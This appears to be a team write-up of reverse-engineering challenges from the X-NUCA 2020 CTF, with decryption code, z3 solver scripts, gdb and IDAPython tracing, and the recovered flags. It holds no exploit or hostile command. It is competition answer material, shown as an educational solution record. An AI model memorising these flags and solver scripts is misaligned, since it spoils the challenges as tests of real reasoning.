X-NUCA'2020 WriteUp - CNSS

Reverse

hellowasm

通过调试和瞎猜,输入会通过一个base64,但是会和key = [0xa,0xb,0xc,0xd]做异或,

之后进入一个虚拟机,调试发现其只使用了几条指令,其中运算指令就xor用的最多,于是对xor的时候下断点进行分析,可以猜到其异或逻辑,之后直接按照规则异或回来即可

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In [50]: key11  = '''44DE4F9927AC36BE
...: 68B817B50BDA5FEE
...: 22F043E14A9C4EC2
...: 68FF54E55B883B8A
...: 50D80BAD06D467D5
...: 2FFD4AC56FE058F9
...: 0DD773FB52853684
...: E3'''.splitlines()

In [51]: rk=''
...: for i in key11:
...: rk += i.decode('hex')[::-1]
...:

In [52]: len(rk)
Out[52]: 57

In [53]: res = ''

In [54]: for i in xrange(1,len(rk)):
...: res += chr(0xee ^ ord(rk[i-1]) ^ ord(rk[i]))
...:

In [55]: res
Out[55]: 'fteP8\x7ftD_k?PLA>Db<8EL]<F_]=P_EyS\\]<EH=fGOVaDaY<E\\]9GfJ4\x00'

In [56]: res = 'P' + res

In [57]: s2
Out[57]: 'PfteS\\JeS\\JeS\\JeS\\JeS\\JeS\\JeS\\JeS\\JeS\\JeS\\JeS\\JeS\\JeS\\Je'

In [58]: res
Out[58]: 'PfteP8\x7ftD_k?PLA>Db<8EL]<F_]=P_EyS\\]<EH=fGOVaDaY<E\\]9GfJ4\x00'

In [59]: de2 = ''
...: for i in xrange(len(s1)):
...: de2 += chr(ord(res[i]) ^ key[i%4])
...:

In [60]: de2
Out[60]: 'ZmxhZ3syNTg2ZGM3Ni05OGQ1LTQ0ZTItYWQ1OC1kMDZlNjU1OWQ4MmF9'

In [61]: b64decode(de2)
Out[61]: 'flag{2586dc76-98d5-44e2-ad58-d06e6559d82a}'

babyarm

一个究极魔改TEA,blocksize128

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#define _CRT_SECURE_NO_WARNINGS

#include <assert.h>
#include <emmintrin.h>
#include <stdint.h>
#include <stdio.h>
#include "defs.h"

void p(BYTE* d, int len) {
for (auto i = 0; i < len; i++) {
printf(",0x%02x" + !i, (uint8_t)d[i]);
}
printf("\n");
}

// decrypt this to get flag
uint8_t to_dec[] = {0x13, 0xf0, 0x61, 0xb0, 0x7e, 0x56, 0xc8, 0xb3, 0xc7, 0xa3, 0x52, 0x99, 0x3f, 0x2d, 0x1c, 0x45, 0x67, 0x22, 0xe3, 0x3e, 0x3e, 0x2b, 0xe2, 0xe3, 0x50, 0xa2, 0xe5, 0x43, 0xd0, 0x8e, 0xb2, 0x59, 0xdc, 0x49, 0x86, 0xf, 0x83, 0xd0, 0xf4, 0x9b, 0x10, 0x81, 0x57, 0x8a, 0x4f, 0xec, 0x4, 0x86, 0x7f, 0xa2, 0xb5, 0x2e, 0xf3, 0xdd, 0x17, 0x12, 0x53, 0xb2, 0xc9, 0x93, 0x43, 0x8e, 0x7f, 0xdc, 0x00};

void* __fastcall XXxxxXXXXxXxxXXXXTEAEnc(int a1) {
void* result; // r0
int v2; // r4
int v3; // r5
int* v4; // lr
unsigned int v5; // r6
unsigned int v6; // r2
char v7; // r2
char v8; // r3
unsigned int var15; // r3
unsigned int var6; // r10
unsigned int var9; // r9
unsigned int var10; // r8
unsigned int var11; // r7
unsigned int var12; // r6
unsigned int var13; // r5
unsigned int var14; // r4
unsigned int sum; // r0
unsigned int v18; // r2
int v19; // r1
unsigned __int8* v20; // r3
BYTE* v21; // lr
int v22; // r1
int v23; // t1
int v24; // t1
unsigned int var2; // [sp+4h] [bp-6Ch]
unsigned int var4; // [sp+8h] [bp-68h]
unsigned int var5; // [sp+Ch] [bp-64h]
unsigned int var1; // [sp+10h] [bp-60h]
unsigned int var3; // [sp+14h] [bp-5Ch]
unsigned int var7; // [sp+18h] [bp-58h]
unsigned int var8; // [sp+1Ch] [bp-54h]
unsigned int var0; // [sp+20h] [bp-50h]
unsigned int _var15; // [sp+24h] [bp-4Ch]
int round = 0; // [sp+28h] [bp-48h]
int key[4]; // [sp+34h] [bp-3Ch]

v4 = (int*)a1;
key[0] = 2;
key[1] = 2;
key[2] = 3;
key[3] = 4;
if (round <= 15) {
var15 = v4[15];
var1 = v4[1];
var6 = v4[6];
var0 = *v4;
var9 = v4[9];
var2 = v4[2];
var10 = v4[10];
var3 = v4[3];
var11 = v4[11];
var4 = v4[4];
var12 = v4[12];
var5 = v4[5];
var13 = v4[13];
var7 = v4[7];
var14 = v4[14];
var8 = v4[8];
do {
sum = 0;
do {
sum -= 0x61C88647;
var0 += (((var1 >> 3) ^ (16 * var15)) + ((4 * var1) ^ (var15 >> 5))) ^ ((var15 ^ *(int*)((char*)key + (sum & 0xC))) + (var1 ^ sum));
var1 += ((key[((unsigned __int8)(sum >> 2) ^ 1) & 3] ^ var0) + (var2 ^ sum)) ^ (((var2 >> 3) ^ (16 * var0)) + ((4 * var2) ^ (var0 >> 5)));
var2 += ((key[((unsigned __int8)(sum >> 2) ^ 2) & 3] ^ var1) + (var3 ^ sum)) ^ (((var3 >> 3) ^ (16 * var1)) + ((4 * var3) ^ (var1 >> 5)));
var3 += ((key[((unsigned __int8)(sum >> 2) ^ 3) & 3] ^ var2) + (var4 ^ sum)) ^ (((var4 >> 3) ^ (16 * var2)) + ((4 * var4) ^ (var2 >> 5)));
var4 += ((key[(sum >> 2) & 3] ^ var3) + (var5 ^ sum)) ^ (((var5 >> 3) ^ (16 * var3)) + ((4 * var5) ^ (var3 >> 5)));
var5 += ((key[((unsigned __int8)(sum >> 2) ^ 5) & 3] ^ var4) + (var6 ^ sum)) ^ (((var6 >> 3) ^ (16 * var4)) + ((4 * var6) ^ (var4 >> 5)));
var6 += ((key[((unsigned __int8)(sum >> 2) ^ 6) & 3] ^ var5) + (var7 ^ sum)) ^ (((var7 >> 3) ^ (16 * var5)) + ((4 * var7) ^ (var5 >> 5)));
var7 += ((key[((unsigned __int8)(sum >> 2) ^ 7) & 3] ^ var6) + (var8 ^ sum)) ^ (((var8 >> 3) ^ (16 * var6)) + ((4 * var8) ^ (var6 >> 5)));
var8 += (((key[(sum >> 2) & 3] ^ var7) + (var9 ^ sum)) ^ (((var9 >> 3) ^ (16 * var7)) + ((4 * var9) ^ (var7 >> 5))));
var9 += ((key[((unsigned __int8)(sum >> 2) ^ 9) & 3] ^ var8) + (var10 ^ sum)) ^ (((var10 >> 3) ^ (16 * var8)) + ((4 * var10) ^ (var8 >> 5)));

var10 += ((key[((unsigned __int8)(sum >> 2) ^ 0xA) & 3] ^ var9) + (var11 ^ sum)) ^ (((var11 >> 3) ^ (16 * var9)) + ((4 * var11) ^ (var9 >> 5)));
var11 += ((key[((unsigned __int8)(sum >> 2) ^ 0xB) & 3] ^ var10) + (var12 ^ sum)) ^ (((var12 >> 3) ^ (16 * var10)) + ((4 * var12) ^ (var10 >> 5)));
var12 += ((key[(sum >> 2) & 3] ^ var11) + (var13 ^ sum)) ^ (((var13 >> 3) ^ (16 * var11)) + ((4 * var13) ^ (var11 >> 5)));
var13 += (((var14 >> 3) ^ (16 * var12)) + ((4 * var14) ^ (var12 >> 5))) ^ ((key[((unsigned __int8)(sum >> 2) ^ 0xD) & 3] ^ var12) + (var14 ^ sum));
var14 += (((var15 >> 3) ^ (16 * var13)) + ((4 * var15) ^ (var13 >> 5))) ^ ((key[((unsigned __int8)(sum >> 2) ^ 0xE) & 3] ^ var13) + (var15 ^ sum));
var15 += (((var0 >> 3) ^ (16 * var14)) + ((4 * var0) ^ (var14 >> 5))) ^ ((key[((unsigned __int8)(sum >> 2) ^ 0xF) & 3] ^ var14) + (var0 ^ sum));
*v4 = var0;
v4[1] = var1;
v4[2] = var2;
v4[3] = var3;
v4[4] = var4;
v4[5] = var5;
v4[7] = var7;
v4[6] = var6;
v4[8] = var8;
v4[9] = var9;
v4[10] = var10;
v4[11] = var11;
v4[12] = var12;
v4[13] = var13;
v4[14] = var14;
v4[15] = var15;
} while (sum != 0x8FF34781);
++round;
} while (round != 16);
}
return 0;
}

void* __fastcall XXxxxXXXXxXxxXXXXTEADec(int a1) {
void* result; // r0
int v2; // r4
int v3; // r5
int* v4; // lr
unsigned int v5; // r6
unsigned int v6; // r2
char v7; // r2
char v8; // r3
unsigned int var15; // r3
unsigned int var6; // r10
unsigned int var9; // r9
unsigned int var10; // r8
unsigned int var11; // r7
unsigned int var12; // r6
unsigned int var13; // r5
unsigned int var14; // r4
unsigned int sum; // r0
unsigned int v18; // r2
int v19; // r1
unsigned __int8* v20; // r3
BYTE* v21; // lr
int v22; // r1
int v23; // t1
int v24; // t1
unsigned int var2; // [sp+4h] [bp-6Ch]
unsigned int var4; // [sp+8h] [bp-68h]
unsigned int var5; // [sp+Ch] [bp-64h]
unsigned int var1; // [sp+10h] [bp-60h]
unsigned int var3; // [sp+14h] [bp-5Ch]
unsigned int var7; // [sp+18h] [bp-58h]
unsigned int var8; // [sp+1Ch] [bp-54h]
unsigned int var0; // [sp+20h] [bp-50h]
unsigned int _var15; // [sp+24h] [bp-4Ch]
int round = 0; // [sp+28h] [bp-48h]
int key[4]; // [sp+34h] [bp-3Ch]

v4 = (int*)a1;
key[0] = 2;
key[1] = 2;
key[2] = 3;
key[3] = 4;
if (round <= 15) {
var15 = v4[15];
var1 = v4[1];
var6 = v4[6];
var0 = *v4;
var9 = v4[9];
var2 = v4[2];
var10 = v4[10];
var3 = v4[3];
var11 = v4[11];
var4 = v4[4];
var12 = v4[12];
var5 = v4[5];
var13 = v4[13];
var7 = v4[7];
var14 = v4[14];
var8 = v4[8];
do {
sum = 0x8FF34781;
do {
var15 -= (((var0 >> 3) ^ (16 * var14)) + ((4 * var0) ^ (var14 >> 5))) ^ ((key[((unsigned __int8)(sum >> 2) ^ 0xF) & 3] ^ var14) + (var0 ^ sum));

var14 -= (((var15 >> 3) ^ (16 * var13)) + ((4 * var15) ^ (var13 >> 5))) ^ ((key[((unsigned __int8)(sum >> 2) ^ 0xE) & 3] ^ var13) + (var15 ^ sum));
var13 -= (((var14 >> 3) ^ (16 * var12)) + ((4 * var14) ^ (var12 >> 5))) ^ ((key[((unsigned __int8)(sum >> 2) ^ 0xD) & 3] ^ var12) + (var14 ^ sum));
var12 -= ((key[(sum >> 2) & 3] ^ var11) + (var13 ^ sum)) ^ (((var13 >> 3) ^ (16 * var11)) + ((4 * var13) ^ (var11 >> 5)));
var11 -= ((key[((unsigned __int8)(sum >> 2) ^ 0xB) & 3] ^ var10) + (var12 ^ sum)) ^ (((var12 >> 3) ^ (16 * var10)) + ((4 * var12) ^ (var10 >> 5)));
var10 -= ((key[((unsigned __int8)(sum >> 2) ^ 0xA) & 3] ^ var9) + (var11 ^ sum)) ^ (((var11 >> 3) ^ (16 * var9)) + ((4 * var11) ^ (var9 >> 5)));
var9 -= ((key[((unsigned __int8)(sum >> 2) ^ 9) & 3] ^ var8) + (var10 ^ sum)) ^ (((var10 >> 3) ^ (16 * var8)) + ((4 * var10) ^ (var8 >> 5)));
var8 -= (((key[(sum >> 2) & 3] ^ var7) + (var9 ^ sum)) ^ (((var9 >> 3) ^ (16 * var7)) + ((4 * var9) ^ (var7 >> 5))));
var7 -= ((key[((unsigned __int8)(sum >> 2) ^ 7) & 3] ^ var6) + (var8 ^ sum)) ^ (((var8 >> 3) ^ (16 * var6)) + ((4 * var8) ^ (var6 >> 5)));
var6 -= ((key[((unsigned __int8)(sum >> 2) ^ 6) & 3] ^ var5) + (var7 ^ sum)) ^ (((var7 >> 3) ^ (16 * var5)) + ((4 * var7) ^ (var5 >> 5)));
var5 -= ((key[((unsigned __int8)(sum >> 2) ^ 5) & 3] ^ var4) + (var6 ^ sum)) ^ (((var6 >> 3) ^ (16 * var4)) + ((4 * var6) ^ (var4 >> 5)));
var4 -= ((key[(sum >> 2) & 3] ^ var3) + (var5 ^ sum)) ^ (((var5 >> 3) ^ (16 * var3)) + ((4 * var5) ^ (var3 >> 5)));
var3 -= ((key[((unsigned __int8)(sum >> 2) ^ 3) & 3] ^ var2) + (var4 ^ sum)) ^ (((var4 >> 3) ^ (16 * var2)) + ((4 * var4) ^ (var2 >> 5)));

var2 -= ((key[((unsigned __int8)(sum >> 2) ^ 2) & 3] ^ var1) + (var3 ^ sum)) ^ (((var3 >> 3) ^ (16 * var1)) + ((4 * var3) ^ (var1 >> 5)));
var1 -= ((key[((unsigned __int8)(sum >> 2) ^ 1) & 3] ^ var0) + (var2 ^ sum)) ^ (((var2 >> 3) ^ (16 * var0)) + ((4 * var2) ^ (var0 >> 5)));
var0 -= (((var1 >> 3) ^ (16 * var15)) + ((4 * var1) ^ (var15 >> 5))) ^ ((var15 ^ *(int*)((char*)key + (sum & 0xC))) + (var1 ^ sum));

*v4 = var0;
v4[1] = var1;
v4[2] = var2;
v4[3] = var3;
v4[4] = var4;
v4[5] = var5;
v4[7] = var7;
v4[6] = var6;
v4[8] = var8;
v4[9] = var9;
v4[10] = var10;
v4[11] = var11;
v4[12] = var12;
v4[13] = var13;
v4[14] = var14;
v4[15] = var15;

sum += 0x61C88647;
} while (sum != 0);
++round;
} while (round != 16);
}
return 0;
}

void coherency_check() {
uint8_t src[64] = {0};
memset(src, 0x31, 64);
uint8_t src_bak[64] = {0};
memcpy(src_bak, src, 64);
XXxxxXXXXxXxxXXXXTEAEnc((int)src);
XXxxxXXXXxXxxXXXXTEADec((int)src);
assert(!memcmp(src, src_bak, 64));
}

int main() {
coherency_check();
XXxxxXXXXxXxxXXXXTEADec((int)to_dec);
printf("%s", to_dec);
return 0;
}

Unravel MFC

前33bytes做rc4_like_encrypt然后做modified_base64encode,后32bytes做modified_tea_encrypt,总长度要求66,解出来之后中间猜一个’f’

解前一部分:

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// output: Fr4nk1y_MfC_l5_t0O_ComPIeX_4nd_dl
#include <memory.h>
#include <stdio.h>
#include <stdlib.h>
#include <cstring>
#define padding_char '='

char *base64_decode(const char *data, int data_len);

int main(int argc, char *argv[]) {
char dec1[] = "$HM%/NEX,79PBN\\C/BQLVSW,*/'8T#UMC4%[email protected]@@,.%5";
unsigned char rc4_xor_keys[] = {0x40, 0x28, 0xb6, 0x5c, 0xd3, 0x84, 0x5c, 0x1a, 0xe0, 0x18, 0xfd, 0x3f, 0x5d, 0xce, 0xf6, 0xbb, 0x3d, 0x46, 0x43, 0x82, 0x7a, 0xa9, 0x5c, 0xe3, 0xe4, 0x48, 0xfd, 0xa5, 0xb9, 0x39, 0x7b, 0xd4, 0xfe};
char *dec = base64_decode(dec1, 44);

for (auto i = 0; i < 33; i++) {
dec[i] ^= rc4_xor_keys[i];
}
printf("%s", dec);

free(dec);
return 0;
}

static char find_pos(char ch) {
return ch - 35; // directly minus 35 instead of looking up inside the base table
/*
char *ptr = (char*)strrchr(base, ch);//the last position (the only) in base[]
return (ptr - base);
*/
}

char *base64_decode(const char *data, int data_len) {
int ret_len = (data_len / 4) * 3;
int equal_count = 0;
char *ret = NULL;
char *f = NULL;
int tmp = 0;
int temp = 0;
int prepare = 0;
int i = 0;
if (*(data + data_len - 1) == padding_char) {
equal_count += 1;
}
if (*(data + data_len - 2) == padding_char) {
equal_count += 1;
}
if (*(data + data_len - 3) == padding_char) { //seems impossible
equal_count += 1;
}
switch (equal_count) {
case 0:
ret_len += 4; //3 + 1 [1 for NULL]
break;
case 1:
ret_len += 4; //Ceil((6*3)/8)+1
break;
case 2:
ret_len += 3; //Ceil((6*2)/8)+1
break;
case 3:
ret_len += 2; //Ceil((6*1)/8)+1
break;
}
ret = (char *)malloc(ret_len);
if (ret == NULL) {
printf("No enough memory.\n");
exit(0);
}
memset(ret, 0, ret_len);
f = ret;
while (tmp < (data_len - equal_count)) {
temp = 0;
prepare = 0;
while (temp < 4) {
if (tmp >= (data_len - equal_count)) {
break;
}
prepare = (prepare << 6) | (find_pos(data[tmp]));
temp++;
tmp++;
}
prepare = prepare << ((4 - temp) * 6);
for (i = 0; i < 3; i++) {
if (i == temp) {
break;
}
*f = (char)((prepare >> ((2 - i) * 8)) & 0xFF);
f++;
}
}
*f = '\0';
return ret;
}

解后面的部分:

Use z3py to get the final result of TEA:

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# output: [3262352701727045364, 16084101041927844095, 7830893152465779821, 16783048594668704748]
from z3 import *

v7 = [BitVec(f'v{i}', 64) for i in range(4)]

s = Solver()
s.add(v7[1] == 0xDF3634AE2F9970FF)
s.add(ULT(v7[0],v7[2]))
s.add(ULT(v7[2],v7[3]))
s.add(v7[2] - v7[0] == 0x3F66B755B4490579)
s.add(v7[0] + v7[3] == 0x162F924623D2CAE0)
s.add(v7[3] - v7[2] == 0x7C3C71F1B295D77F)


while s.check() == sat:
result = []
for i in range(4):
result.append(s.model()[v7[i]].as_long())
print(result)
s.add(Or(*[v != s.model()[v] for v in v7]))

最后拼接起来并加个’f’:

Fr4nk1y_MfC_l5_t0O_ComPIeX_4nd_dlff1cUlt_foR_THe_r0Ok1E_t0_REver5e

repair

先跑一下trace,发现程序在0x010BEA这个地方进行相减,如果不为0就直接失败,所以先把这个地方patch一下,然后用gdb脚本跑一个完整的log

gdb脚本跑log:

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set arch arm
b *0x119EC
target remote 127.0.0.1:1234
python f = open('log','w+')
while(1)
if $pc==0x119EC
python s = gdb.parse_and_eval('*(unsigned int*)($sp)')
python f.write(hex(int(str(s))) + '\n')
python f.flush()
continue
else
continue
end
end

用idapython提取指令:

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s = open('./logmain').read().splitlines()
ss = []
while True:
try:
t = s.index('0x10beb')
except:
break
ss.append(s[:t] + ['0x10beb','0x11607','0x11485','0x11935'])
s = s[t+1:]
print(len(ss))
s = ss[28]
ins = []
ins_flag = 0
ins_bytes = b''
import idc,ida_bytes
start = 0x10A54 + 1
while ins_flag <= len(s):
true_start = start - 1
idc.create_insn(true_start)
now_ins = idc.GetDisasm(true_start)
next_addr = true_start
while "UND" not in now_ins and 'PUSH {R0-R5,R7}' not in now_ins and 'PUSH {R7,LR}' not in now_ins:
#ins.append(now_ins)
next_addr_t = idc.next_head(next_addr)
ins_bytes += ida_bytes.get_bytes(next_addr,next_addr_t-next_addr)
next_addr = next_addr_t
now_ins = idc.GetDisasm(next_addr)
# print(now_ins)
if ins_flag >= len(s):break
start = int(s[ins_flag],16)
ins_flag += 1
if ins_flag % 100 == 0:
print(ins_flag)

f = open('dumpins_add','wb')
f.write(ins_bytes)
f.close()p

通过观察可以发现,程序每8个字节进行校验,校验的过程有点像方程,一共校验了40次,所以直接根据判断的指令将log分开,然后依次分析

其中一次验证类似于下面的形式:

进行了一通操作之后判断相减是否为0

直接拖进z3发现是sat,但是手动提取所有的方程非常的慢,于是猜测flag字符集为小写字母,通过测试可以解出可读的正确结果,所以此时通过小写字母来约束变量,在只有1-2个方程的情况下也可以求出正解,减少了工作量

最后的脚本:

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from pwn import *
from z3 import *


a22 = open('dump_array.txt').read().decode('hex')
a2 = []
for i in a22:
a2.append(ord(i))

def get_int(o):
return u32(a22[o:o+4])

def get_int2(o):
return get_int(o*4)

so = Solver()
a3 = ['0'] * 256

a1 = []
for i in xrange(38):
t = BitVec(str(i),32)
if i != 37:so.add(Or(And(t >= ord('a'),t <= ord('z')),t == ord('_')))
a1.append(t)
a1.append(ord('}'))
a1.append(0)
so.add(a1[12] == ord('n'))
# so.add(a1[12] == ord('n'))

already_so = 'repairing_control_flow_is_interesting'
for i in xrange(len(already_so)):
so.add(ord(already_so[i]) == a1[i])



a3[a2[1]] = (16975111 * (a2[1] + 127)) ^ get_int( 2)
a3[a2[7]] = (16975111 * (a2[7] + 127)) ^ get_int2( 2)
a3[a2[13]] = (16975111 * (a2[13] + 127)) ^ get_int( 14)
a3[a2[19]] = (16975111 * (a2[19] + 127)) ^ get_int2( 5)
a3[a2[25]] = (16975111 * (a2[25] + 127)) ^ a1[(16975111* (a2[26] + 127)) ^ a3[a2[26]]]
a3[a2[28]] = (16975111 * (a2[28] + 127)) ^ get_int( 29)
a3[a2[34]] = (16975111 * (a2[34] + 127)) ^ a3[a2[36]] ^ (16975111 * (a2[36] + 127)) ^ (16975111 * (a2[35] + 127)) ^ a3[a2[35]]
a3[a2[38]] = (16975111 * (a2[38] + 127)) ^ ((a3[a2[40]] ^ (16975111 * (a2[40] + 127)))- ((16975111* (a2[39] + 127)) ^ a3[a2[39]]))
a3[a2[42]] = (16975111 * (a2[42] + 127)) ^ get_int( 43)
a3[a2[48]] = (16975111 * (a2[48] + 127)) ^ a1[(16975111* (a2[49] + 127)) ^ a3[a2[49]]]
a3[a2[51]] = (16975111 * (a2[51] + 127)) ^ get_int2( 13)
a3[a2[57]] = (16975111 * (a2[57] + 127)) ^ a3[a2[59]] ^ (16975111 * (a2[59] + 127)) ^ (16975111 * (a2[58] + 127)) ^ a3[a2[58]]
a3[a2[61]] = (16975111 * (a2[61] + 127)) ^ ((a3[a2[63]] ^ (16975111 * (a2[63] + 127)))- ((16975111* (a2[62] + 127)) ^ a3[a2[62]]))
a3[a2[65]] = (16975111 * (a2[65] + 127)) ^ get_int( 66)
a3[a2[71]] = (16975111 * (a2[71] + 127)) ^ a1[(16975111* (a2[72] + 127)) ^ a3[a2[72]]]
a3[a2[74]] = (16975111 * (a2[74] + 127)) ^ get_int( 75)
a3[a2[80]] = (16975111 * (a2[80] + 127)) ^ a3[a2[82]] ^ (16975111 * (a2[82] + 127)) ^ (16975111 * (a2[81] + 127)) ^ a3[a2[81]]
a3[a2[84]] = (16975111 * (a2[84] + 127)) ^ ((a3[a2[86]] ^ (16975111 * (a2[86] + 127)))- ((16975111* (a2[85] + 127)) ^ a3[a2[85]]))
a3[a2[88]] = (16975111 * (a2[88] + 127)) ^ get_int( 89)
a3[a2[94]] = (16975111 * (a2[94] + 127)) ^ a1[(16975111* (a2[95] + 127)) ^ a3[a2[95]]]
a3[a2[97]] = (16975111 * (a2[97] + 127)) ^ get_int( 98)
a3[a2[103]] = (16975111 * (a2[103] + 127)) ^ ((a3[a2[105]] ^ (16975111 * (a2[105] + 127)))* ((16975111* (a2[104] + 127)) ^ a3[a2[104]]))
a3[a2[107]] = (16975111 * (a2[107] + 127)) ^ ((a3[a2[109]] ^ (16975111 * (a2[109] + 127)))+ ((16975111* (a2[108] + 127)) ^ a3[a2[108]]))
a3[a2[111]] = (16975111 * (a2[111] + 127)) ^ get_int2( 28)
a3[a2[117]] = (16975111 * (a2[117] + 127)) ^ a1[(16975111 * (a2[118] + 127)) ^ a3[a2[118]]]
a3[a2[120]] = (16975111 * (a2[120] + 127)) ^ get_int( 121)
a3[a2[126]] = (16975111 * (a2[126] + 127)) ^ ((a3[a2[128]] ^ (16975111 * (a2[128] + 127)))* ((16975111* (a2[127] + 127)) ^ a3[a2[127]]))
a3[a2[130]] = (16975111 * (a2[130] + 127)) ^ ((a3[a2[132]] ^ (16975111 * (a2[132] + 127)))+ ((16975111* (a2[131] + 127)) ^ a3[a2[131]]))
a3[a2[134]] = (16975111 * (a2[134] + 127)) ^ get_int( 135)
a3[a2[140]] = (16975111 * (a2[140] + 127)) ^ a1[(16975111 * (a2[141] + 127)) ^ a3[a2[141]]]
a3[a2[143]] = (16975111 * (a2[143] + 127)) ^ get_int2( 36)
a3[a2[149]] = (16975111 * (a2[149] + 127)) ^ a3[a2[151]] ^ (16975111 * (a2[151] + 127)) ^ (16975111 * (a2[150] + 127)) ^ a3[a2[150]]
a3[a2[153]] = (16975111 * (a2[153] + 127)) ^ ((a3[a2[155]] ^ (16975111 * (a2[155] + 127)))+ ((16975111* (a2[154] + 127)) ^ a3[a2[154]]))
a3[a2[157]] = (16975111 * (a2[157] + 127)) ^ get_int( 158)
a3[a2[163]] = (16975111 * (a2[163] + 127)) ^ a1[(16975111 * (a2[164] + 127)) ^ a3[a2[164]]]
a3[a2[166]] = (16975111 * (a2[166] + 127)) ^ get_int( 167)
a3[a2[172]] = (16975111 * (a2[172] + 127)) ^ ((a3[a2[174]] ^ (16975111 * (a2[174] + 127)))* ((16975111* (a2[173] + 127)) ^ a3[a2[173]]))
a3[a2[176]] = (16975111 * (a2[176] + 127)) ^ ((a3[a2[178]] ^ (16975111 * (a2[178] + 127)))+ ((16975111* (a2[177] + 127)) ^ a3[a2[177]]))
a3[a2[180]] = (16975111 * (a2[180] + 127)) ^ get_int( 181)
a3[a2[186]] = (16975111 * (a2[186] + 127)) ^ a1[(16975111 * (a2[187] + 127)) ^ a3[a2[187]]]
a3[a2[189]] = (16975111 * (a2[189] + 127)) ^ get_int( 190)
a3[a2[195]] = (16975111 * (a2[195] + 127)) ^ a3[a2[197]] ^ (16975111 * (a2[197] + 127)) ^ (16975111 * (a2[196] + 127)) ^ a3[a2[196]]
a3[a2[199]] = (16975111 * (a2[199] + 127)) ^ ((a3[a2[201]] ^ (16975111 * (a2[201] + 127)))- ((16975111* (a2[200] + 127)) ^ a3[a2[200]]))
a3[a2[203]] = (16975111 * (a2[203] + 127)) ^ get_int2( 51)
a3[a2[209]] = (16975111 * (a2[209] + 127)) ^ ((a3[a2[211]] ^ (16975111 * (a2[211] + 127)))- ((16975111* (a2[210] + 127)) ^ a3[a2[210]]))

so.add(a3[a2[213]] - 0x1030507 * (a2[213] + 127) == 0)


a3[a2[215]] = (16975111 * (a2[215] + 127)) ^ get_int2( 54)
a3[a2[221]] = (16975111 * (a2[221] + 127)) ^ get_int( 222)
a3[a2[227]] = (16975111 * (a2[227] + 127)) ^ get_int2( 57)
a3[a2[233]] = (16975111 * (a2[233] + 127)) ^ get_int( 234)
a3[a2[239]] = (16975111 * (a2[239] + 127)) ^ a1[(16975111 * (a2[240] + 127)) ^ a3[a2[240]]]
a3[a2[242]] = (16975111 * (a2[242] + 127)) ^ get_int( 243)
a3[a2[248]] = (16975111 * (a2[248] + 127)) ^ ((a3[a2[250]] ^ (16975111 * (a2[250] + 127)))* ((16975111* (a2[249] + 127)) ^ a3[a2[249]]))
a3[a2[252]] = (16975111 * (a2[252] + 127)) ^ ((a3[a2[254]] ^ (16975111 * (a2[254] + 127)))- ((16975111* (a2[253] + 127)) ^ a3[a2[253]]))
a3[a2[256]] = (16975111 * (a2[256] + 127)) ^ get_int( 257)
a3[a2[262]] = (16975111 * (a2[262] + 127)) ^ a1[(16975111 * (a2[263] + 127)) ^ a3[a2[263]]]
a3[a2[265]] = (16975111 * (a2[265] + 127)) ^ get_int( 266)
a3[a2[271]] = (16975111 * (a2[271] + 127)) ^ a3[a2[273]] ^ (16975111 * (a2[273] + 127)) ^ (16975111 * (a2[272] + 127)) ^ a3[a2[272]]
a3[a2[275]] = (16975111 * (a2[275] + 127)) ^ ((a3[a2[277]] ^ (16975111 * (a2[277] + 127)))+ ((16975111* (a2[276] + 127)) ^ a3[a2[276]]))
a3[a2[279]] = (16975111 * (a2[279] + 127)) ^ get_int2( 70)
a3[a2[285]] = (16975111 * (a2[285] + 127)) ^ a1[(16975111 * (a2[286] + 127)) ^ a3[a2[286]]]
a3[a2[288]] = (16975111 * (a2[288] + 127)) ^ get_int( 289)
a3[a2[294]] = (16975111 * (a2[294] + 127)) ^ a3[a2[296]] ^ (16975111 * (a2[296] + 127)) ^ (16975111 * (a2[295] + 127)) ^ a3[a2[295]]
a3[a2[298]] = (16975111 * (a2[298] + 127)) ^ ((a3[a2[300]] ^ (16975111 * (a2[300] + 127)))- ((16975111* (a2[299] + 127)) ^ a3[a2[299]]))
a3[a2[302]] = (16975111 * (a2[302] + 127)) ^ get_int( 303)
a3[a2[308]] = (16975111 * (a2[308] + 127)) ^ a1[(16975111 * (a2[309] + 127)) ^ a3[a2[309]]]
a3[a2[311]] = (16975111 * (a2[311] + 127)) ^ get_int2( 78)
a3[a2[317]] = (16975111 * (a2[317] + 127)) ^ a3[a2[319]] ^ (16975111 * (a2[319] + 127)) ^ (16975111 * (a2[318] + 127)) ^ a3[a2[318]]
a3[a2[321]] = (16975111 * (a2[321] + 127)) ^ ((a3[a2[323]] ^ (16975111 * (a2[323] + 127)))+ ((16975111* (a2[322] + 127)) ^ a3[a2[322]]))
a3[a2[325]] = (16975111 * (a2[325] + 127)) ^ get_int( 326)
a3[a2[331]] = (16975111 * (a2[331] + 127)) ^ a1[(16975111 * (a2[332] + 127)) ^ a3[a2[332]]]
a3[a2[334]] = (16975111 * (a2[334] + 127)) ^ get_int( 335)
a3[a2[340]] = (16975111 * (a2[340] + 127)) ^ ((a3[a2[342]] ^ (16975111 * (a2[342] + 127)))* ((16975111* (a2[341] + 127)) ^ a3[a2[341]]))
a3[a2[344]] = (16975111 * (a2[344] + 127)) ^ ((a3[a2[346]] ^ (16975111 * (a2[346] + 127)))+ ((16975111* (a2[345] + 127)) ^ a3[a2[345]]))
a3[a2[348]] = (16975111 * (a2[348] + 127)) ^ get_int( 349)
a3[a2[354]] = (16975111 * (a2[354] + 127)) ^ a1[(16975111 * (a2[355] + 127)) ^ a3[a2[355]]]
a3[a2[357]] = (16975111 * (a2[357] + 127)) ^ get_int( 358)
a3[a2[363]] = (16975111 * (a2[363] + 127)) ^ a3[a2[365]] ^ (16975111 * (a2[365] + 127)) ^ (16975111 * (a2[364] + 127)) ^ a3[a2[364]]
a3[a2[367]] = (16975111 * (a2[367] + 127)) ^ ((a3[a2[369]] ^ (16975111 * (a2[369] + 127)))+ ((16975111* (a2[368] + 127)) ^ a3[a2[368]]))
a3[a2[371]] = (16975111 * (a2[371] + 127)) ^ get_int2( 93)
a3[a2[377]] = (16975111 * (a2[377] + 127)) ^ a1[(16975111 * (a2[378] + 127)) ^ a3[a2[378]]]
a3[a2[380]] = (16975111 * (a2[380] + 127)) ^ get_int( 381)
a3[a2[386]] = (16975111 * (a2[386] + 127)) ^ a3[a2[388]] ^ (16975111 * (a2[388] + 127)) ^ (16975111 * (a2[387] + 127)) ^ a3[a2[387]]
a3[a2[390]] = (16975111 * (a2[390] + 127)) ^ ((a3[a2[392]] ^ (16975111 * (a2[392] + 127)))- ((16975111* (a2[391] + 127)) ^ a3[a2[391]]))
